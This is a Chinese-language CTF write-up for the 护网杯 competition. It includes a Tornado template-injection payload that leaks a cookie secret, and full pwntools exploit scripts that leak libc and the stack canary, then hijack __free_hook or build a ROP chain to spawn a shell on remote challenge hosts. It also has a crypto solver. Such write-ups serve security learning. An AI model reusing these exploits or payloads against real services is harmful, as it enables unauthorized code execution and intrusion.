[护网杯] writeup

护网杯

很难过这次只有29呜呜呜太菜了

Web :

ltshop (done)

  • 条件竞争 + 整型溢出
    条件竞争用bp就可以了,只要大于5个能买第二种辣条就行

买的数量*5 <余额
然后就买最大整形/5+1
的数量就ok了
数量 3689348814741910324

easy tornado (done)

http://117.78.27.5:31356/error?msg={{handler.application.settings}}

Whoops, looks like somethings went wrong .
{'login_url': '/login',
'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret':
'>yMI{f 'debug': False, 'file_path': '/www/static/files', 'static_path':
'static'}

yMI{f

http://117.78.27.5:31356/file?filename=/fllllllllllag&signature=b6618c58443e9af2528aeea4028c0c6c

PWN:

task_gettingStart[DONE]

.rodata:0000000000000C10 qword_C10 dq 3FB999999999999Ah ; DATA XREF: main+EE�r
栈结构
__int64 buf; // [sp+10h] [bp-30h]@1 1
__int64 v6; // [sp+18h] [bp-28h]@1 2
__int64 v7; // [sp+20h] [bp-20h]@1 3
__int64 v8; // [sp+28h] [bp-18h]@1 0x7FFFFFFFFFFFFFFFLL
double v9; // [sp+30h] [bp-10h]@1 3FB999999999999Ah

p.sendline(p64(0x1)+p64(0x2)+p64(0x3)+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A))

tesk_shoppingCart[DONE]

第二个函数的edit功能没有检查下标范围

read接受size的时候没有检查0,所以能跳过输入了,从而leak heap和libc

exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./task_shoppingCart')
    # bin = ELF('./task_shoppingCart',checksec=False)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
    cn = remote('117.78.27.105', 30403)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    pass


def z(a=''):
    if local:
        gdb.attach(cn,a)
        if a == '':
            raw_input()

def add_money(con):
    cn.sendlineafter('!','1')
    cn.sendlineafter('?',con)

def end_add_mon():
    cn.sendlineafter('!','3')


def add_good(con,leng):
    cn.sendlineafter('!','1')
    cn.sendlineafter('?',str(leng))
    cn.sendlineafter('?',con)

def drop_good(idx):
    cn.sendlineafter('!','2')
    cn.sendlineafter('?',str(idx))

def mod_good1(idx):
    cn.sendlineafter('!','3')
    cn.sendlineafter('?',str(idx))

def end_good():
    cn.sendlineafter('!','4')


for i in range(10):
    add_money('mon'+str(i))
end_add_mon()


add_good('asd',5)
add_good('zxc',5)
drop_good(0)
drop_good(1)
add_good('',0)

# z()
mod_good1(2)

cn.recvuntil('modify ')
hleak = u64(cn.recvuntil(' ')[:-1].ljust(8,'\x00'))

success('hleak: '+hex(hleak))
cn.sendline('aaa')

add_good('asd',0x100)
add_good('zxc',5)
drop_good(3)
add_good('',0)
mod_good1(5)

cn.recvuntil('modify ')
d = cn.recvuntil(' ')[:-1]
lbase = u64(d.ljust(8,'\x00'))-0x3c4b20-344
success('lbase: '+hex(lbase))
cn.sendline(d)

pay='/bin/sh\x00'+p64(0)
pay+= p64(lbase +libc.sym['__free_hook'])+p64(0xdead)
add_good(pay,0x100)
haddr=hleak+0x0001d0
mod_good1(-12)
cn.sendline(p64(haddr))

mod_good1(-0x20)
cn.sendline(p64(lbase+libc.sym['system']))
drop_good(6)

cn.interactive()

huwang

read_len可以溢出,当传入的length=0的时候 <--这是在说哪里啊。。

666那个函数如果能猜出md5,再通过name溢出获得canary,就可以在最后那个函数里因为snprintf返回的长度是原本会写入的格式化字符串长度

就可以溢出覆盖返回地址ROP了,md5这里看了半天没啥想法,难道外面那两个功能是有用的

还是说让我爆破?一共有2^12=4096种可能

不能爆破吧,每次猜完都会重新生成

也不行=。=可能性太低了

啊。。。有思路了

同时开4096个socket,再没输入猜测结果之前,不会不会修改/tmp/secret,这样可以开4096个socket,每个socket猜一种情况,肯定能有一个socket猜中

。。。还有这种操作=。=

感谢大黑客的帮助=。=把最后的步骤说一下,也很常规,可以leak 0x401141 函数的canary,因为canary都相同,在0x40101C函数的溢出中就不会被检查出来了

#coding=utf8
from pwn import *
import hashlib
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

local = 0

if local:
    cn = process('./huwang')
    bin = ELF('./huwang')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
    cn = remote('49.4.9.11',30890)
    bin = ELF('./huwang')
    libc = ELF('./libc.so.6')


def z(a=''):
    gdb.attach(cn,a)
    if a == '':
        raw_input()

cn.sendline('666')

cn.send('a' * 0x19)
cn.recvuntil('Do you want to guess the secret?')

cn.sendline('y')

cn.sendline('1')

cn.send('\x4a\xe7\x13\x36\xe4\x4b\xf9\xbf\x79\xd2\x75\x2e\x23\x48\x18\xa5')

cn.recvuntil('a' * 0x19)

canary = u64(cn.recv(7).rjust(8,'\x00'))
print('canary:' + hex(canary))

cn.send('a' * 0xff)

cn.recvuntil('Do you want to edit you introduce by yourself[Y/N]')

cn.sendline('Y')

prdi = 0x0000000000401573
prsi = 0x0000000000401571


buf = 'a' * 0x108 + p64(canary) + p64(0) + p64(prdi) + p64(0x602F70) + p64(0x400AB8)
buf+= p64(0x401465)

cn.sendline(buf)

cn.recvuntil('The final')
cn.recvline()

lbase = u64(cn.recv(6).ljust(8,'\x00')) - libc.sym['puts']
print('lbase:' + hex(lbase))

cn.sendline('666')

cn.send('a' * 0x19)
cn.recvuntil('Do you want to guess the secret?')

cn.sendline('y')

cn.sendline('1')

cn.send('\xcc\xe6\x3f\x5c\xa8\xa8\xd2\x25\x9c\x97\xe3\x25\x18\x13\x3b\x05')

cn.recvuntil('a' * 0x19)

cn.send('a' * 0xff)

cn.recvuntil('Do you want to edit you introduce by yourself[Y/N]')

cn.sendline('Y')

buf = 'a' * 0x108 + p64(canary) + p64(0) + p64(prdi) + p64(lbase + libc.search('/bin/sh').next())
buf+= p64(lbase + libc.sym['system'])

cn.sendline(buf)

cn.interactive()

Crypto

FEZ [DONE]

DES只有轮密钥
用的同一组密钥加密,按照test的明文和密文按照流程推一遍,容易得到第7轮时的密文和原明文关系,然后flag的密文和明文关系也是一样的,就可以解出

# coding=utf-8
import os
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
def f(x,k):
    return xor(xor(x,k),7)
def round(M,K):
    L=M[0:27]
    R=M[27:54]
    new_l=R
    new_r=xor(xor(R,L),K)
    return new_l+new_r
def fez(m,K):
    for i in K:
        m=round(m,i)
    return m

test_m= '6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9db0b7ded2a25cdaa6e2a26f0d384d9699988f'
test_c='8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff135240fd03e77c9da02d7a2bc590fe797cfee990'
flag_c='ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5a6ab3e746aec5d31dc62e480009317af1bb'
test_m=test_m.decode('hex')
test_c=test_c.decode('hex')
flag_c=flag_c.decode('hex')

test_L0=test_m[0:27]
test_R0=test_m[27:54]
test_L7=test_c[0:27]
test_R7=test_c[27:54]
flag_L7=flag_c[0:27]
flag_R7=flag_c[27:54]


K_L=xor(test_L7,test_R0)
K_R=xor(xor(test_R7,test_L0),test_R0)


flag_R0=xor(flag_L7,K_L)
flag_L0=xor(xor(flag_R7,K_R),flag_R0)

print flag_L0+flag_R0


Misc&PPC

简单的签到题

base64后xor ord(‘f’)

你可能感兴趣的:([护网杯] writeup)